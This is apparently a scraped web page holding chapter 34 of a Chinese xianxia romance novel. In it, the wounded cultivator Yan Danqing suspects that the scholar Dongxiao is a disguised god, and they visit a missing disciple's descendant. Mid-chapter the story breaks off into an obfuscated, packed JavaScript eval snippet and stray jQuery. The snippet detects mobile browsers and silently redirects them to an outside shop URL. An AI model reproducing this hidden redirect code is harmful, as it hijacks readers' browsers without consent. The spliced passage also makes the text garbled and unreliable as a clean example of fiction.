34. 第 34 章

作品:《明月高悬只能照我

    冬宵的视线一直落在她小臂上的伤口,那伤口深可见骨,即便过了许久,血仍未止,暗红蜿蜒。


    他忽然扯下衣衫内衬,撕成长条,抬脚朝雁丹青走去。


    在她戒备的目光下,他单膝跪地,将布条一圈圈缠紧她小臂的伤口。


    布条浸出点点血色,“先回去吧,你的伤需要包扎。”


    他的语气实在轻柔,隐隐透出几分不易察觉的疼惜,仿佛那伤口长在他自己身上。


    雁丹青任他包扎,而后收回手,面无表情道:“走吧。”


    她态度依旧冷硬疏离,冬宵怔了一瞬,指尖悬在半空,随后缓缓蜷起手指。


    体内灵力亏空,已不适合御剑飞行,两人沿着林间小径原路返回客栈,行至客栈门前时,天色已浓重如墨,唯有腰间的云笺玉发出荧荧闪光。


    雁丹青指尖拂过云笺玉,正要催动灵力回应,余光不经意瞥见身侧的冬宵。


    她快步先他一步跨入客栈,门扉在身后轻轻合拢,隔绝客栈的吵闹后才将灵力汇入云笺玉。


    陆西辞的声音在安静的房内响起,“丹青,可还顺利?”


    “林昭下落不明,其余弟子已经找到。”


    陆西辞好似在另一头长舒口气,顿了顿道:“门主问起人间动物暴乱之事,既然一众弟子已经找到,也好禀报门主。”


    雁丹青沉默半晌,咬着牙开口:“他们,无一生还。”她顿了顿,陆西辞那边也陷入短暂的寂静,只余云笺玉微弱的灵光在指尖亮着,证明二人还没断掉传音。


    “我已收回他们的灵核,待合适时机,便撒落在人间。还有一事,我今日碰见的灵兽……”


    两人交谈许久,雁丹青自知凭借现在自己的实力无法活捉那影豹,与陆西辞商议许久,最终决定暂缓追查,先将灵核妥善安置。


    人间情况已尽数上报,正待陆西辞收回灵力时,听见雁丹青问他:“师兄,神尊今日可好?”


    陆西辞沉默一瞬,轻声道:“神尊一切安好,不必挂心。”


    看来,冬宵与沈寂尘并无关系。


    雁丹青指尖微顿,那被冬宵包扎伤口时一闪而过的念头,也随之烟消云散。


    云笺玉光晕渐黯,熄灭的最后一秒,一声短短的喵呜声透过云笺玉传来,却隐没在房门“叩叩”两声轻响之中。


    “进来。”


    雁丹青将云笺玉收回袖中,抬眸望向推门而入的冬宵,他端着一碗温热的汤药,白雾袅袅升腾,递到她面前。


    褐色的药汤倒映在她眼眸中,“我不需要。”


    凡人的汤药,对她能有什么作用,可笑。


    冬宵却像是没听见她的嘲讽,只将药碗稳稳托在掌心,执拗地端着碗。


    她垂眸盯着那热气,抬手欲挥开,指尖却在触到碗沿前一顿。


    药气微苦,竟裹着一丝极淡的雪松清冽,像极了沈寂尘袖间常年萦绕的气息。


    心中暗叹一声,原本推拒的手缓缓接过药碗,在冬宵执拗的注视下,褐色的药汤被她一饮而尽。


    药汁滑入喉间,苦意未散,舌尖却泛起一丝奇异的回甘。她抬眼,正撞上冬宵垂落的睫羽,他面色有些苍白,或是今日奔波,又或是今日受了惊吓。


    到底还是凡人,雁丹青微微蹙眉,道:“多谢。”


    她冷言寡语的模样,分明是对着他下了逐客令,冬宵也不多作停留,只轻轻颔首,转身便踏出房门。


    门扉合拢的刹那,雁丹青感到灵脉一阵灼热,暖流顺着经脉奔涌,怎么会这样?


    莫非人类的汤药真有这般奇效?


    来不及细想,她立即盘膝调息,灵力在经络中奔涌如春潮破冰,连小臂上的伤口带来的疼痛都减弱了几分。


    半刻钟后,她缓缓吐出一口浊气。


    窗外明月高悬,清辉如霜,打更人的声音“天干物燥,小心火烛…”悠悠荡荡飘进窗棂。


    袖中的六颗灵核静静躺在掌心,幽光流转。


    林昭生死未卜,她却无法捉住那影豹,一抹挫败感悄然爬上心头,心中如被一块巨石压着似的,呼吸沉滞。


    “属下担忧亲人,自荐前往人间查探!”


    林昭的话好似犹在耳畔,雁丹青神色一凛,复而执起云笺玉。


    翌日,天色微明,豆大的雨点砸在青瓦上噼啪作响,檐角悬垂的水珠连成银线。


    夏允君自诊出怀孕后便开始嗜睡,晨光未透,雁丹青不愿打扰她,随手画出张留音符贴在窗棂内侧,待她醒来便能知道她的去向。


    跨出客栈门槛时,店小二正捧着扫帚清扫门前积水,抬头见她孤身一人出来,急忙递给她一把油纸伞:“小姐,当心淋雨。”


    雁丹青是他们客栈不多见的大方客人,给的赏钱向来丰厚,一把伞而已,店小二自然不会吝啬。


    撑开手中淡红色的油纸伞,她朝着城外走去,雨势随着天明逐渐转小,路上一洼洼的积水倒映着渐渐晴朗的天空。


    “等等!”


    身后传来男子的呼喊声,雁丹青步履未停,只听见脚步声越来越近,一只手扯住她。


    是冬宵。


    他未打伞,呼吸有些急促,发梢滴水,青色长袍下角随着跑动溅起泥点。


    “你又跟来做什么?”雁丹青一早就知道他在身后,只是不愿理会他罢了,偏偏这人没有一点眼色,竟直接扯住她袖角。


    “你还有伤,想去哪我可以带路。”


    又是这种语气,明明是个男子,却偏生像只淋湿的雀儿,看她的目光总是带几分湿漉漉的水光。


    昨日为她挡下那影豹攻击时却一脸决然,不知为何一靠近她,便又缩回壳里。


    “不必。”


    “你是为了救我才受伤的,结草之恩,衔环以报。”他目光清澈,雨水顺着他额角滑落,分不清是雨是一路跑来的汗。


    迂腐的书生,实在难缠。


    罢了,愿意跟就跟吧,他行迹可疑,正好借此看看他的真实目的。


    “拿着。”雁丹青将手中的伞抛给他,油纸伞遮住他湿透的肩头,雨珠顺着他低垂的眼睫滚落,混着未干的水痕滑入衣领。


    雁丹青不再看他,转身踏进雨雾中,却不想身后的人匆匆与她并肩在路上,他手中的伞面悄然偏斜,尽数倾向她一侧。


    男子高大的身躯骤然贴近,肩膀紧挨着她,滚烫的体温透过微湿的衣料传来,雨声霎时被隔在方寸之外。


    伞下空间骤然逼仄,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176550|195537||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    雁丹青嗅到熟悉的气味,雪松。


    清冷的雪松气息裹着雨后的湿润,丝丝缕缕地钻入鼻息,这人身上的气味,她在另外一人身上闻过太多次。


    世上会有如此相似的雪松气息?


    还是说,冬宵与那人本就是同一人?


    昨夜执起云笺玉,她向陆西辞问到林昭人间亲人的地址,隐约间,好似听到陆西辞那边传来的猫叫声。


    不,应该说是猞猁叫声。


    如果猞猁在陆西辞身边,那沈寂尘呢?


    她侧目看向与之并肩的男人,狐疑的目光轻轻打量他,那人却浑然不觉,睫毛低垂,只专注替她挡雨。


    “我要去皇城旧址,你可知道在哪里?”


    冬宵点点头,“出城后一直向西走便是。”


    说着,他从怀中掏出一张泛黄的羊皮地图,边角微卷,墨线勾勒着山川轮廓,皇城旧址赫然标记在上。


    出了城,人烟稀少,长剑悬于半空,雁丹青自顾自跃上剑身,挑着眉看向冬宵。


    雨已经停了,湛蓝的天空澄澈如洗。


    冬宵面上透出些许为难,抿了抿唇求助似的仰头看雁丹青。


    当真不会御剑?


    雁丹青勾起一抹笑意,控制着脚下长剑,往下压了几分。


    冬宵见状忙抬腿登上剑身,剑身却在此刻猛地晃动起来,踉跄间,他不得不伸手揽住雁丹青腰侧稳住身形。


    指尖触到她腰间,手下是盈盈一握却蕴着力量的腰肢,他面上一热,耳根瞬间染上薄红,慌忙松开手。


    “抱歉,没控制好。”雁丹青瞥他一眼,唇角微扬,没有半分歉意。


    她心中偷笑,沈寂尘,你也有这般窘迫的时候?


    假扮书生接近她吗?


    好啊,那就陪他玩玩好了。


    剑光破空,直奔皇城旧址。


    炊烟袅袅升起,这里与穹西城并无区别,甚至更繁华几分。


    街上摊贩叫卖声此起彼伏,糖炒栗子的焦香混着新蒸炊饼的麦香在空气里浮动。


    两人沿着街道拐进一条青石小巷,停在倒数第三户朱漆斑驳的木门前。


    门环锈迹斑斑,叩响三声后,吱呀一声,门缝里探出一张苍老的脸。


    女人布满皱纹的手颤巍巍拉开木门,浑浊目光在雁丹青脸上停顿一瞬,“你们找谁?”


    “请问这里是林昭家吗?”


    老人瞳孔骤然收缩,枯瘦手指猛地攥紧门框,“是,是我太爷爷。”


    原来她是林昭的曾孙女,也对,林昭已在仙门百年,如今这世上,还能记得他名字的,怕是只剩这深巷里的老妪了。


    见她平安无事,雁丹青也替林昭松了口气,掏出些碎银塞进老人掌心,寒暄几句便离开了。


    从老人口中雁丹青才得知,林昭竟出身寒门,仙门弟子非富即贵,他的出身能被选入仙门,又能在刑律殿中做事,抛开天赋,可想而知付出了多大努力。


    人族中出类拔萃者,数不胜数,林昭这般的寒门砥柱,在仙界也只是沧海一粟。


    如今生死未卜,她更觉肩头千钧,林昭是她殿中人,即便身先朝露,她也要找到他的尸体。


    活要见人,死要见尸!